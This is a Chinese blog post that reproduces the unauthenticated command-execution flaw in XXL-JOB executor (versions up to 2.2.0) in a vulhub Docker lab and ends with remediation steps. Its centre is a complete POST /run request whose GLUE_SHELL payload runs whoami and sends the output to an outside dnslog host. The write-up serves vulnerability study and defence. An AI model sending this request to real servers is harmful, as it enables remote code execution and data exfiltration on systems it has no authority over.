XXL-JOB executor未授权访问漏洞
XXL-JOB概述
XXL-JOB 是一个开源的分布式任务调度平台,支持定时任务和分布式任务。该平台提供了一套可视化的任务管理界面,方便用户配置和监控任务的执行情况。
漏洞概述
漏洞影响版本:<=2.2.0
executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。
此漏洞为XXL-JOB配置不当情况下反序列化RCE。
执行器配置文件中说到端口号在默认情况下是9999
复现
本地搭建靶场,使用靶场为vulhub,使用docker运行环境
启动环境后,http://ip:8080为管理端,http://ip:9999为客户端
访问http://ip:9999/,出现以下情况可能存在漏洞
访问http://ip:9999/run,并使用bp抓包,将数据包的发送方式改为POST
数据包内容
POST /run HTTP/1.1 Host: {ip}:9999 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/json Content-Length: 382 { "jobId": 4, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "ping -n 1 `whoami`.7fx080.dnslog.cn", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
注意:每次发送请求,需要更改报文中的jobId值,否则命令可能无法执行
成功得到回显
创建文件
注意:此环境由docker搭建,创建的文件生成于对应的容器中
复现完成
修复方式
1.将XXL-JOB Executor 升级到最新版本。
2.设置访问控制,在 XXL-JOB Executor 的配置文件中,确保设置了适当的访问控制。这可能涉及到设置用户名和密码,或者配置 IP 白名单,以确保只有授权的用户或 IP 地址可以访问 Executor。
3.修改默认端口。
4.使用防火墙配置来限制对 XXL-JOB Executor 端口的访问。只允许来自可信 IP 地址的请求访问 Executor。
posted on 2023-12-04 15:30 Wav3W1nd50r 阅读(1837) 评论(0) 编辑 收藏 举报